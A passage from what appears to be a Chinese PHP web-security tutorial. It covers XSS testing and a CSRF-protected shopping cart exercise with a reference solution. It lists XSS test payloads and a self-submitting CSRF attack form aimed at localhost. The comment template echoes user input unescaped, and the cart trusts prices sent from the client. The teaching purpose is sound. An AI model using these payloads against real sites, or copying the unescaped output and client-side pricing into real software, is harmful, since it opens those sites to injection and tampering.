        <button type="submit">提交评论</button>
    </form>
    
    <h2>评论列表</h2>
    
    <?php if (empty($comments)): ?>
        <p>暂无评论</p>
    <?php else: ?>
        <?php foreach ($comments as $c): ?>
            <div class="comment">
                <strong><?php echo $c['author']; ?></strong>
                <small><?php echo $c['timestamp']; ?></small>
                <p><?php echo $c['comment']; ?></p>
            </div>
        <?php endforeach; ?>
    <?php endif; ?>
    
    <h3>XSS测试</h3>
    <div class="danger">
        <p>尝试提交以下内容测试XSS防护:</p>
        <ul>
            <li>&lt;script&gt;alert('XSS')&lt;/script&gt;</li>
            <li>&lt;img src="x" onerror="alert(1)"&gt;</li>
            <li>&lt;a href="javascript:alert(1)"&gt;点击我&lt;/a&gt;</li>
        </ul>
        <p>注意:安全防护后的效果</p>
    </div>
</body>
</html>

进阶练习题

练习3:实现CSRF防护的购物车系统

题目

设计一个简单的购物车系统,要求:

  1. 用户可以添加商品到购物车
  2. 用户可以查看购物车并结算
  3. 结算表单必须包含CSRF防护
  4. 实现一次性CSRF令牌,使用后失效
  5. 添加令牌过期时间验证(5分钟过期)
    难度等级 :★★★☆☆(进阶)
    解题提示
  • 使用Session存储CSRF令牌
  • 每个表单使用唯一的令牌标识
  • 验证令牌后从Session中移除
  • 考虑令牌的过期时间
    参考答案
php 复制代码
<?php
session_start();

class ShoppingCart {
    private $csrfTokens = [];
    
    public function __construct() {
        if (!isset($_SESSION['cart'])) {
            $_SESSION['cart'] = [];
        }
        if (!isset($_SESSION['csrf_tokens'])) {
            $_SESSION['csrf_tokens'] = [];
        }
        $this->csrfTokens = &$_SESSION['csrf_tokens'];
    }
    
    // 生成CSRF令牌
public function generateCsrfToken($formId) {
        $token = bin2hex(random_bytes(32));
        $this->csrfTokens[$formId] = [
            'token' => $token,
            'hash' => hash('sha256', $token),
            'created' => time(),
            'expires' => time() + 300 // 5分钟过期
];
        $this->cleanupExpiredTokens();
        return $token;
    }
    
    // 验证CSRF令牌
public function validateCsrfToken($formId, $inputToken) {
        if (!isset($this->csrfTokens[$formId]) || empty($inputToken)) {
            return false;
        }
        
        $storedToken = $this->csrfTokens[$formId];
        
        // 检查是否过期
if (time() > $storedToken['expires']) {
            unset($this->csrfTokens[$formId]);
            return false;
        }
        
        // 安全比较
$isValid = hash_equals($storedToken['hash'], hash('sha256', $inputToken));
        
        // 使用后删除(一次性令牌)
if ($isValid) {
            unset($this->csrfTokens[$formId]);
        }
        
        return $isValid;
    }
    
    // 清理过期令牌
private function cleanupExpiredTokens() {
        foreach ($this->csrfTokens as $formId => $tokenData) {
            if (time() > $tokenData['expires']) {
                unset($this->csrfTokens[$formId]);
            }
        }
    }
    
    // 添加商品到购物车
public function addToCart($productId, $productName, $price, $quantity = 1) {
        if (!isset($_SESSION['cart'][$productId])) {
            $_SESSION['cart'][$productId] = [
                'name' => $productName,
                'price' => $price,
                'quantity' => $quantity
            ];
        } else {
            $_SESSION['cart'][$productId]['quantity'] += $quantity;
        }
    }
    
    // 获取购物车总价
public function getTotal() {
        $total = 0;
        foreach ($_SESSION['cart'] as $item) {
            $total += $item['price'] * $item['quantity'];
        }
        return $total;
    }
    
    // 结算购物车
public function checkout() {
        // 这里应该处理支付逻辑
$_SESSION['cart'] = []; // 清空购物车
return true;
    }
}

// 使用示例
$cart = new ShoppingCart();

// 处理添加商品请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['add_to_cart'])) {
    if (!$cart->validateCsrfToken('add_item', $_POST['csrf_token'] ?? '')) {
        die('CSRF令牌验证失败!');
    }
    
    $cart->addToCart(
        $_POST['product_id'],
        $_POST['product_name'],
        $_POST['price'],
        $_POST['quantity'] ?? 1
    );
}

// 处理结算请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['checkout'])) {
    if (!$cart->validateCsrfToken('checkout', $_POST['csrf_token'] ?? '')) {
        die('CSRF令牌验证失败!');
    }
    
    if ($cart->checkout()) {
        $message = "结算成功!";
    }
}

// 商品列表
$products = [
    1 => ['name' => 'PHP编程书', 'price' => 69.99],
    2 => ['name' => 'Web安全指南', 'price' => 89.99],
    3 => ['name' => '数据库设计', 'price' => 79.99],
];
?>

<!DOCTYPE html>
<html>
<head>
    <title>购物车系统</title>
    <style>
        body { font-family: Arial; max-width: 800px; margin: 0 auto; padding: 20px; }
        .products, .cart { border: 1px solid #ccc; padding: 20px; margin: 20px 0; }
        .product { border-bottom: 1px solid #eee; padding: 10px 0; }
        .error { color: red; }
        .success { color: green; }
    </style>
</head>
<body>
    <h1>购物车系统</h1>
    
    <?php if (isset($message)): ?>
        <div class="success"><?php echo htmlspecialchars($message); ?></div>
    <?php endif; ?>
    
    <div class="products">
        <h2>商品列表</h2>
        <?php foreach ($products as $id => $product): ?>
            <div class="product">
                <h3><?php echo htmlspecialchars($product['name']); ?></h3>
                <p>价格: ¥<?php echo number_format($product['price'], 2); ?></p>
                <form method="POST">
                    <input type="hidden" name="csrf_token" 
                           value="<?php echo $cart->generateCsrfToken('add_item'); ?>">
                    <input type="hidden" name="product_id" value="<?php echo $id; ?>">
                    <input type="hidden" name="product_name" value="<?php echo htmlspecialchars($product['name']); ?>">
                    <input type="hidden" name="price" value="<?php echo $product['price']; ?>">
                    <input type="number" name="quantity" value="1" min="1" style="width: 60px;">
                    <button type="submit" name="add_to_cart">加入购物车</button>
                </form>
            </div>
        <?php endforeach; ?>
    </div>
    
    <div class="cart">
        <h2>购物车</h2>
        <?php if (empty($_SESSION['cart'])): ?>
            <p>购物车为空</p>
        <?php else: ?>
            <table border="1" cellpadding="10" cellspacing="0" style="width:100%">
                <tr>
                    <th>商品名称</th>
                    <th>单价</th>
                    <th>数量</th>
                    <th>小计</th>
                </tr>
                <?php $total = 0; ?>
                <?php foreach ($_SESSION['cart'] as $item): ?>
                    <tr>
                        <td><?php echo htmlspecialchars($item['name']); ?></td>
                        <td>¥<?php echo number_format($item['price'], 2); ?></td>
                        <td><?php echo $item['quantity']; ?></td>
                        <td>¥<?php echo number_format($item['price'] * $item['quantity'], 2); ?></td>
                    </tr>
                    <?php $total += $item['price'] * $item['quantity']; ?>
                <?php endforeach; ?>
                <tr>
                    <td colspan="3" align="right"><strong>总计:</strong></td>
                    <td><strong>¥<?php echo number_format($total, 2); ?></strong></td>
                </tr>
            </table>
            
            <form method="POST" style="margin-top: 20px;">
                <input type="hidden" name="csrf_token" 
                       value="<?php echo $cart->generateCsrfToken('checkout'); ?>">
                <button type="submit" name="checkout">结算购物车</button>
            </form>
        <?php endif; ?>
    </div>
    
    <div class="csrf-test">
        <h3>CSRF攻击测试</h3>
        <p>尝试在另一个页面提交以下表单:</p>
        <pre>
&lt;form action="http:// localhost/cart.php" method="POST" id="attack"&gt;
    &lt;input type="hidden" name="product_id" value="1"&gt;
    &lt;input type="hidden" name="product_name" value="免费商品"&gt;
    &lt;input type="hidden" name="price" value="0"&gt;
    &lt;input type="hidden" name="quantity" value="100"&gt;
    &lt;input type="hidden" name="add_to_cart" value="1"&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById('attack').submit();&lt;/script&gt;
        </pre>
        <p>由于CSRF防护,这个攻击会失败</p>
    </div>
</body>
</html>
相关推荐
JaguarJack20 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo20 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理2 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
feifeigo1232 天前
matlab画图工具
开发语言·matlab
dustcell.2 天前
haproxy七层代理
java·开发语言·前端
norlan_jame2 天前
C-PHY与D-PHY差异
c语言·开发语言
多恩Stone2 天前
【C++入门扫盲1】C++ 与 Python:类型、编译器/解释器与 CPU 的关系
开发语言·c++·人工智能·python·算法·3d·aigc
QQ4022054962 天前
Python+django+vue3预制菜半成品配菜平台
开发语言·python·django
QQ5110082852 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php